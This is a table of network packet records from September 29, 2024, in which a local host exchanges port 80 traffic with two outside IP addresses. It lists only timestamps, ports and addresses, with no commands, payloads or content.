Sep 29, 2024 00:53:23.106956005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.106961012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.106961966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.106967926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.106973886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.106976986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.106985092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.106987953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.106987953 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.106998920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107017040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107021093 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107027054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107038021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107038975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107069016 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107093096 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107161045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107167006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107172012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107181072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107187033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107192993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107198000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107203007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107213974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107220888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107222080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107223034 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107249975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107250929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107287884 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107289076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107338905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107345104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107350111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107362032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107364893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107369900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107378960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107399940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107402086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107431889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107462883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107572079 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107700109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107707024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107717991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107722044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107727051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107733011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107738972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107743025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107748032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107753038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107757092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107762098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107778072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107779980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107784033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107785940 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107789993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107794046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107795954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107801914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107806921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107816935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107817888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107825041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107830048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107832909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107836008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107841969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107846022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107851028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107856989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107861996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107861996 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107867956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107872963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107877970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107894897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107901096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107908964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107914925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107919931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107923031 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107923031 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107925892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107929945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107940912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107947111 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107954025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107959986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107964039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107969999 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107975006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107980967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107984066 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.107985973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.107992887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108016968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108026028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108053923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108053923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108097076 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108102083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108113050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108118057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108129025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108158112 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108158112 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108180046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108186007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108191013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108239889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108339071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108344078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108349085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108355045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108360052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108371019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108376026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108381987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108386040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108386040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108392954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108397961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108401060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108402967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108408928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108413935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108418941 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108438969 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108439922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108496904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108501911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108503103 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108508110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108522892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108527899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108532906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108542919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108544111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108549118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108553886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108556986 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108560085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108570099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108582020 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108606100 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108653069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108659983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108664036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108669043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108675003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108680010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108686924 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108712912 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108750105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108755112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108760118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108794928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108804941 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108827114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.108829975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108835936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108841896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108850956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.108882904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.119996071 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.120001078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.120083094 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.140727997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140736103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140742064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140794992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140800953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140806913 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140816927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140822887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140829086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.140849113 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.140851974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140865088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140868902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140880108 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.140908003 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.140933037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140938044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140959024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140964031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140969038 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.140999079 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.141015053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.142827034 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142831087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142836094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142847061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142851114 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142896891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142903090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142909050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142911911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.142929077 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.142959118 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.142959118 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.148495913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.148552895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.148591042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.148597956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.148605108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.148611069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.148621082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.148627043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.148636103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.148668051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.160681009 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.160689116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.160696030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.160756111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.160794020 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.160820007 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.160825014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.160856962 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.160891056 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.161082983 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161087990 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161200047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.161246061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161252022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161257982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161264896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161300898 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.161335945 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.161704063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161709070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161715031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161767006 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.161772966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161777973 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161782980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161792994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.161828041 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.162656069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.162662029 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.162667990 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.162672043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.162678003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.162682056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.162691116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.162749052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.162749052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.163451910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.163458109 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.163464069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.163479090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.163484097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.163489103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.163494110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.163515091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.163537979 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.163645029 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.164307117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.164313078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.164324999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.164390087 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.164390087 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.164392948 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.164398909 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.164411068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.164416075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.164470911 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.164470911 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.165208101 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.165213108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.165219069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.165277004 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.165292978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.165298939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:23.165345907 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:23.192630053 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192683935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192689896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192693949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192699909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192704916 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192714930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192728043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192728996 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.192733049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192738056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192748070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192754030 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.192754030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192796946 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.192796946 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.192959070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192965031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.192970991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193017006 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.193022966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193028927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193034887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193044901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193084002 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.193186998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193192959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193200111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193205118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193211079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193213940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193280935 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.193303108 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193314075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193320036 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193324089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193334103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193339109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193345070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193346024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.193350077 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193356037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193360090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193371058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193373919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.193375111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193380117 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193416119 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.193423986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193428993 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:23.193430901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:23.193437099 CEST	80	49708	103.130.147.211	192.168.2.9
